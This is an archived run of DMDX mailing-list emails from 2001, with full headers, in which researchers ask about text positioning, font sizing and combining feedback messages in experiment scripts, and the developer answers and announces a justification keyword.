8255C devices (C being the CMOS suffix) and unless CMOS has a terminated input it latches up so all the ones I've seen must have internal pullup resistors. Doesn't mean I'm about to stop putting pullup resistors on the response boxes I build though, better safe than sorry. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Thu Oct 18 09:37:32 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA28883 for ; Thu, 18 Oct 2001 09:37:26 -0700 Received: (qmail 27228 invoked from network); 18 Oct 2001 16:37:19 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 18 Oct 2001 16:37:19 -0000 Message-Id: <5.1.0.14.2.20011018092933.009e21a0@psy1.psych.arizona.edu> Date: Thu, 18 Oct 2001 09:38:05 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: lost in space ... strange behavior of font multiplier In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:09 PM 10/18/01 +0200, you wrote: >The DMDX code fragment below illustrates a strange side effect of the Font >Multiplier function. > >While the cross ""+"" is displayed correctly at coordinates (0.5,0.5), >multipying the size of the second character ""O"" causes it to grossly offset >from its 'correct' position. > > 1 ""+"" /; > 2 ""O"" /; > >Is there any gracefull correction for this? The code is functioning correctly, specifies the coordinates of the top left corner of the display. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 19 01:25:46 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id BAA30800 for ; Fri, 19 Oct 2001 01:23:44 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f9J8Nhp06253 for ; Fri, 19 Oct 2001 10:23:43 +0200 From: ""Derek N. Eder"" To: Subject: [DMDX] Justification for being lost in space ? Date: Fri, 19 Oct 2001 10:22:37 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20011018092933.009e21a0@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list "" specifies the coordinates of the top left corner of the display"" - j.c.f. Ok, I understand. The text characters are bit-mapped to 'blocks' which can be scaled from their upper, left corner origin. What I need is an horizontal and vertical center-justified display of my character. Naturally , I echo Matt Davis' sentiments: ""it would be better if there was a way of specifying < or < for text strings."" Since I can't stick the C settextjustify function into DMDX, I could roll my own text justification of the parameters if I knew the size of the bitmap character box. E.g., a 'centered' character = (metaphorically speaking) How do I know the bit map size of, for example, a 10-point character (in pixels)? Thanks, Derek Derek N. Eder Goteborgs Universitet Institutionen for klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bla straket 17b SE 413 45 Goteborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 Goteborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 19 02:18:22 2001 Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA30939 for ; Fri, 19 Oct 2001 02:18:12 -0700 Received: from boris (n2sgir194.psycho.univ-paris5.fr [193.51.84.194]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.2) with SMTP id LAA17557 for ; Fri, 19 Oct 2001 11:18:06 +0200 (MET DST) Message-ID: <001201c1587f$91a3b340$312815ac@psycho.univparis5.fr> From: ""Boris New"" To: ""DMDX"" Subject: [DMDX] Two feedback messages (with branching) Date: Fri, 19 Oct 2001 11:22:26 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I'd like to display as feedback the fact that the subject's answer is right or wrong and if he exceeded the time limit (all on the same screen). So I need two items line to appear on the same screen and don't know how to do (coma don't work in this case neither than ) Here is the script where ""correct"" appears first and after that ""less than 600ms"": < AzkiiResponses>< ContinuousRun>< MapRequest +space>< MapPositiveResponse +b>< MapNegativeResponse +n>< DefaultBackgroundColor 0> < DefaultWritingColor 255255255> 0 ""Presser la barre d'espace"", ""pour commencer""; 0 ""ErrorRate Feedback Example"" ; ~111 ; 50 ; 51 ; 10 / ""correct"" c; 20 / ""wrong"" c; 30 / ""noresponse"" c; 40 ; 92 ""Moins de 600 ms"" / ; ~2 ; 92 ""Attention: Plus de 600ms"" / ; +1000 / c/ * ""juste1""; -1001 / c/ * ""faux1""; +1002 / c/ * ""juste2""; 0 L ""C'est fini, Merci""; Thanks in advance. ********************************** http://www.borisnew.org/journalclub http://www.borisnew.org http://www.lexique.org Boris New Laboratoire de Psychologie Exp�rimentale Centre Universitaire de Boulogne - Institut de Psychologie Universit� Paris 5 - UMR 8581 71 Av. Edouard Vaillant 92774 Boulogne Billancourt Cedex Tel : 01 55 20 57 36 ********************************** >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 19 04:19:20 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA31224 for ; Fri, 19 Oct 2001 04:19:07 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f9JBJ6p10815 for ; Fri, 19 Oct 2001 13:19:06 +0200 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] font sizing and spatial location of text Date: Fri, 19 Oct 2001 13:18:00 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list As a followup to my previous question: I see from the TimeDMDX - Select Video Mode - Fonts to Use menu, a list of fonts with 4 specifications. For example: 37 X 19 400wt Courier New I. What do these mean? (1) 37 X 19 -- Dimensions in pixels for character box? But at what font-point size ??? (2) 400wt -- text line 'weight' or 'boldness' ? (3) Courier New -- a freshly baked text? (4) vs. -- what are the practical differences for me? II. When I my 37x19 character by 10, does it turn into a 370 x 190 character box? III. Is there a prayer of adding text justification to DMDX? IV. Where can I get a reference to the types of questions that I have been asking? Tanks, Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 19 09:55:51 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA31946 for ; Fri, 19 Oct 2001 09:55:06 -0700 Received: (qmail 24677 invoked from network); 19 Oct 2001 16:55:03 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 19 Oct 2001 16:55:03 -0000 Message-Id: <5.1.0.14.2.20011019092902.009f3d20@psy1.psych.arizona.edu> Date: Fri, 19 Oct 2001 09:55:45 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Justification for being lost in space ? In-Reply-To: References: <5.1.0.14.2.20011018092933.009e21a0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:22 AM 10/19/01 +0200, you wrote: > "" specifies the coordinates of the top left corner >of the display"" - j.c.f. > >Ok, I understand. The text characters are bit-mapped to 'blocks' which can >be scaled from their upper, left corner origin. >What I need is an horizontal and vertical center-justified display of my >character. Naturally , I echo Matt Davis' sentiments: ""it would be better >if there was a way of specifying < or < for >text strings."" Actually you don't, you want center justification. I agree it's useful but there are more than a hundred other things that might be useful too that I also don't just gaily add to the code. >Since I can't stick the C settextjustify function into DMDX, I could roll my >own text justification of the parameters if I knew the size of the >bitmap character box. E.g., a 'centered' character = .02)> (metaphorically speaking) > >How do I know the bit map size of, for example, a 10-point character (in >pixels)? Without me changing the code (an unlikely possibility unless you choose to recompense me) you can use the TimeDX Select Video mode command. It can display arbitrary text strings in various fonts and font sizes and the results window. Well, it used to, I guess I streamlined it for version 2 figuring no one would ever want to know such information. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 19 10:06:59 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA32023 for ; Fri, 19 Oct 2001 10:06:48 -0700 Received: (qmail 2546 invoked from network); 19 Oct 2001 17:06:45 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 19 Oct 2001 17:06:45 -0000 Message-Id: <5.1.0.14.2.20011019095750.009e77c0@psy1.psych.arizona.edu> Date: Fri, 19 Oct 2001 10:07:28 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Two feedback messages (with branching) In-Reply-To: <001201c1587f$91a3b340$312815ac@psycho.univparis5.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:22 AM 10/19/01 +0200, you wrote: >Hi, > >I'd like to display as feedback the fact that the subject's answer is right >or wrong and if he exceeded the time limit (all on the same screen). >So I need two items line to appear on the same screen and don't know how to >do (coma don't work in this case neither than ) ! or most certainly should work across items. >Here is the script where ""correct"" appears first and after that ""less than >600ms"": > >< AzkiiResponses>< ContinuousRun>32>< MapRequest +space>< MapPositiveResponse +b>< >MapNegativeResponse +n>< DefaultBackgroundColor 0> < DefaultWritingColor >255255255>640,480,480,8,0> >0 ""Presser la barre d'espace"", ""pour commencer""; >0 ""ErrorRate Feedback Example"" ; >~111 > ; >50 ; >51 ; >10 / ""correct"" c; >20 / ""wrong"" c; >30 / ""noresponse"" c; >40 ; 92 ""Moins de 600 ms"" / >; >~2 ; 92 ""Attention: Plus de 600ms"" / ; >+1000 / c/ * ""juste1""; >-1001 / c/ * ""faux1""; >+1002 / c/ * ""juste2""; >0 L ""C'est fini, Merci""; Pasting your script into my system yields the anticipated results. Correct for example is displayed and then Attention is displayed in addition briefly below it. Your problem is probably just with frame durations. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 19 10:16:42 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA32105 for ; Fri, 19 Oct 2001 10:16:35 -0700 Received: (qmail 9187 invoked from network); 19 Oct 2001 17:16:32 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 19 Oct 2001 17:16:32 -0000 Message-Id: <5.1.0.14.2.20011019100739.009d1910@psy1.psych.arizona.edu> Date: Fri, 19 Oct 2001 10:17:15 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: font sizing and spatial location of text In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:18 PM 10/19/01 +0200, you wrote: >As a followup to my previous question: > >I see from the TimeDMDX - Select Video Mode - Fonts to Use menu, a list of >fonts with 4 specifications. > >For example: 37 X 19 400wt Courier New > >I. What do these mean? >(1) 37 X 19 -- Dimensions in pixels for character box? But at what >font-point size ??? >(2) 400wt -- text line 'weight' or 'boldness' ? >(3) Courier New -- a freshly baked text? >(4) vs. -- what are the practical differences for me? See below. >II. When I my 37x19 character by 10, does it turn into a >370 x 190 character box? I'd have to dive into a bunch of code to tell. The easiest thing to to some rough calculation based on some large text characters and apparent portion of the screen that they take up. >III. Is there a prayer of adding text justification to DMDX? Sure, but it's going to cost you something. >IV. Where can I get a reference to the types of questions that I have been >asking? The win32 documentation, specifically the CreateFont() call: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/gdi/fontext_8fp0.asp -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 19 10:41:09 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA32236 for ; Fri, 19 Oct 2001 10:41:02 -0700 Received: (qmail 25244 invoked from network); 19 Oct 2001 17:40:53 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.16) by breaker.dakotacom.net with SMTP; 19 Oct 2001 17:40:53 -0000 Message-Id: <5.1.0.14.2.20011019103911.009e9ec0@psy1.psych.arizona.edu> Date: Fri, 19 Oct 2001 10:41:36 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: font sizing and spatial location of text In-Reply-To: <5.1.0.14.2.20011019100739.009d1910@psy1.psych.arizona.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list BTW, I hope you are aware that your original example of with centering is exactly equivalent to the default display conditions with no keyword? And that if you simply want to deflect something up or down and leave x centered you can just use the keyword? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 19 11:13:47 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA32350 for ; Fri, 19 Oct 2001 11:13:29 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id f9JIDRp19596 for ; Fri, 19 Oct 2001 20:13:27 +0200 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: Re: font sizing and spatial location of text Date: Fri, 19 Oct 2001 20:12:19 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20011019103911.009e9ec0@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks Jonathan, I am concerned with the precise sizing and positioning of text characters in the process of building a covert orienting paradigm. I have finally hacked my way up, down, underneath, and around the problem in the code I use to generate the DMDX script. If anyone is interested, I'll share some other time (it is 8 pm on friday night and I'm starving) But, one font point unit = 1/72"" (~0.3528 mm). You can measure the X and Y distances for 0.1 screen units (for example) and then calculate the relationship between point sizes, linear distances, and screen units. >From there you can offset your coordinates to justify your love. - Derek >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 19 11:32:58 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA32453 for ; Fri, 19 Oct 2001 11:32:48 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3BC7BE0B000A9701 for DMDX@psy1.psych.arizona.edu; Fri, 19 Oct 2001 11:32:46 -0700 Message-Id: <5.1.0.14.2.20011019113201.009e9630@psy1.psych.arizona.edu> Date: Fri, 19 Oct 2001 11:32:49 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: Re: font sizing and spatial location of text In-Reply-To: References: <5.1.0.14.2.20011019103911.009e9ec0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:12 PM 10/19/01 +0200, you wrote: >Thanks Jonathan, > >I am concerned with the precise sizing and positioning of text characters in >the process of building a covert orienting paradigm. I have finally hacked >my way up, down, underneath, and around the problem in the code I use to >generate the DMDX script. > >If anyone is interested, I'll share some other time (it is 8 pm on friday >night and I'm starving) > >But, one font point unit = 1/72"" (~0.3528 mm). You can measure the X and Y >distances for 0.1 screen units (for example) and then calculate the >relationship between point sizes, linear distances, and screen units. > > >From there you can offset your coordinates to justify your love. Or of course you can use Paint and generate scads of bitmaps... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Gerrold's Laws of Infernal Dynamics: (1) An object in motion will always be headed in the wrong direction. (2) An object at rest will always be in the wrong place. (3) The energy required to change either one of these states will always be more than you wish to expend, but never so much as to make the task totally impossible. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 19 16:29:03 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA00336 for ; Fri, 19 Oct 2001 16:27:14 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3BC7BE0B000B4267 for DMDX@psy1.psych.arizona.edu; Fri, 19 Oct 2001 16:27:13 -0700 Message-Id: <5.1.0.14.2.20011019162005.009e2040@psy1.psych.arizona.edu> Date: Fri, 19 Oct 2001 16:27:13 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.5.03 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list So I was looking at the code that positions things on the screen after Derek's trouble, primarily just to see how much work it would be. And before I knew it I was thinking I might as well make the mods as there have been occasions when I personally have found myself going through mental gyrations determining what coordinates need to be specified to get a particular result and just being able to specify the middle would make things a whole lot easier. So 2.5.03 adds the following: XY Justification Keyword Keyword and parameter to determine the justification used with the and keywords. The default value of zero for N makes X and Y determine the coordinates of the left and top elements of the displayed image. N = 1 makes X and Y specify the center of the displayed image, 2 makes X and Y determine the bottom right coordinates. is evaluated as the item is parsed before the display is generated so multiple uses within an item are meaningless, only the last used value will have any effect. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Gerrold's Laws of Infernal Dynamics: (1) An object in motion will always be headed in the wrong direction. (2) An object at rest will always be in the wrong place. (3) The energy required to change either one of these states will always be more than you wish to expend, but never so much as to make the task totally impossible. >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 20 09:49:02 2001 Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA02148 for ; Sat, 20 Oct 2001 09:48:10 -0700 Received: from agnes (ext06.univ-paris5.fr [193.51.86.134]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.2) with SMTP id SAA09726 for ; Sat, 20 Oct 2001 18:47:55 +0200 (MET DST) Message-ID: <000701c15986$7ebeae80$865633c1@agnes> From: ""Boris New"" To: References: <5.1.0.14.2.20011019095750.009e77c0@psy1.psych.arizona.edu> Subject: [DMDX] Re: Two feedback messages (with branching) Date: Sat, 20 Oct 2001 18:44:28 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > Pasting your script into my system yields the anticipated > results. Correct for example is displayed and then Attention is displayed > in addition briefly below it. Your problem is probably just with frame > durations. In fact, I would like that ""correct"" and ""attention"" appear simultaneously on the screen. > > >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 20 15:42:22 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id PAA02834 for ; Sat, 20 Oct 2001 15:41:51 -0700 Received: (qmail 7 invoked from network); 20 Oct 2001 22:41:48 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 20 Oct 2001 22:41:48 -0000 Message-Id: <5.1.0.14.2.20011020152916.009e88b0@psy1.psych.arizona.edu> Date: Sat, 20 Oct 2001 15:42:26 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Two feedback messages (with branching) In-Reply-To: <000701c15986$7ebeae80$865633c1@agnes> References: <5.1.0.14.2.20011019095750.009e77c0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:44 PM 10/20/01 +0200, you wrote: > > Pasting your script into my system yields the anticipated > > results. Correct for example is displayed and then Attention is displayed > > in addition briefly below it. Your problem is probably just with frame > > durations. > >In fact, I would like that ""correct"" and ""attention"" appear simultaneously >on the screen. There's possible two ways. The more straight forward brute force method of including all possibilities explicitly is always possible as a last resort, however there is a chance that a more cunning method can be used. Put a %0 in the ""correct"" item and a ! in the later item. Any frame with no duration will not be displayed, it will however get drawn into the drawing buffer (the same way two frames separated by a comma do, a comma is exactly equivalent to %0 in the first frame and ! in the second), the ""attention"" item won't erase what's in the buffer because of the ! and therefore the two will be merged and displayed simultaneously. In theory anyway. You will have to make sure that the intervening frames with no display also have ! in them too, otherwise they'll erase the remains of the ""correct"" item. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 21 13:35:03 2001 Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA05058 for ; Sun, 21 Oct 2001 13:33:00 -0700 Received: from agnes (ext12.univ-paris5.fr [193.51.86.140]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.2) with SMTP id WAA27673 for ; Sun, 21 Oct 2001 22:32:51 +0200 (MET DST) Message-ID: <000d01c15a6f$1830b700$8c5633c1@agnes> From: ""Boris New"" To: References: <5.1.0.14.2.20011019095750.009e77c0@psy1.psych.arizona.edu> <5.1.0.14.2.20011020152916.009e88b0@psy1.psych.arizona.edu> Subject: [DMDX] Re: Two feedback messages (with branching) Date: Sun, 21 Oct 2001 22:29:28 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks it works nice! I also found how to display the subject's RT (I used the method you described with error rate even if that's a lot of lines) and the error rate at the end of the block but couldn't find how to display the mean RT for correct items. > > > > Pasting your script into my system yields the anticipated > > > results. Correct for example is displayed and then Attention is displayed > > > in addition briefly below it. Your problem is probably just with frame > > > durations. > > > >In fact, I would like that ""correct"" and ""attention"" appear simultaneously > >on the screen. > > > There's possible two ways. The more straight forward brute force method > of including all possibilities explicitly is always possible as a last > resort, however there is a chance that a more cunning method can be > used. Put a %0 in the ""correct"" item and a ! in the later item. Any frame > with no duration will not be displayed, it will however get drawn into the > drawing buffer (the same way two frames separated by a comma do, a comma is > exactly equivalent to %0 in the first frame and ! in the second), the > ""attention"" item won't erase what's in the buffer because of the ! and > therefore the two will be merged and displayed simultaneously. In theory > anyway. You will have to make sure that the intervening frames with no > display also have ! in them too, otherwise they'll erase the remains of the > ""correct"" item. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > There are no secrets better kept than those secrets that > everybody guesses. > - George Bernard Shaw (1856-1950) > Mrs. Warren's Profession, 1983 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Sun Oct 21 15:14:11 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id PAA05293 for ; Sun, 21 Oct 2001 15:12:37 -0700 Received: (qmail 27940 invoked from network); 21 Oct 2001 22:12:33 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 21 Oct 2001 22:12:33 -0000 Message-Id: <5.1.0.14.2.20011021151211.009df0b0@psy1.psych.arizona.edu> Date: Sun, 21 Oct 2001 15:13:09 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Two feedback messages (with branching) In-Reply-To: <000d01c15a6f$1830b700$8c5633c1@agnes> References: <5.1.0.14.2.20011019095750.009e77c0@psy1.psych.arizona.edu> <5.1.0.14.2.20011020152916.009e88b0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:29 PM 10/21/01 +0200, you wrote: >Thanks it works nice! >I also found how to display the subject's RT (I used the method you >described with error rate even if that's a lot of lines) and the error rate >at the end of the block but couldn't find how to display the mean RT for >correct items. I doubt that you could. I suspect in a few weeks I'll be adding an equation evaluator, then you'll be able to do it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Mon Oct 22 03:06:54 2001 Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA06577 for ; Mon, 22 Oct 2001 03:06:07 -0700 Received: from boris (n2sgir194.psycho.univ-paris5.fr [193.51.84.194]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.2) with SMTP id MAA22741 for ; Mon, 22 Oct 2001 12:06:02 +0200 (MET DST) Message-ID: <003201c15ae1$c85a7f40$312815ac@psycho.univparis5.fr> From: ""Boris New"" To: References: <5.1.0.14.2.20011019095750.009e77c0@psy1.psych.arizona.edu><5.1.0.14.2.20011020152916.009e88b0@psy1.psych.arizona.edu> <5.1.0.14.2.20011021151211.009df0b0@psy1.psych.arizona.edu> Subject: [DMDX] Re: Two feedback messages (with branching) Date: Mon, 22 Oct 2001 12:10:24 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I don't know if equation evaluator means variables and ""if"" structures. But if not, variables could be an easy way to implement it, don't you think? I think that it would make dmdx very flexible. (and the scripts could be clearer) > At 10:29 PM 10/21/01 +0200, you wrote: > > >Thanks it works nice! > >I also found how to display the subject's RT (I used the method you > >described with error rate even if that's a lot of lines) and the error rate > >at the end of the block but couldn't find how to display the mean RT for > >correct items. > > I doubt that you could. I suspect in a few weeks I'll be adding an > equation evaluator, then you'll be able to do it. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > There are no secrets better kept than those secrets that > everybody guesses. > - George Bernard Shaw (1856-1950) > Mrs. Warren's Profession, 1983 > > > ==================================================================== > 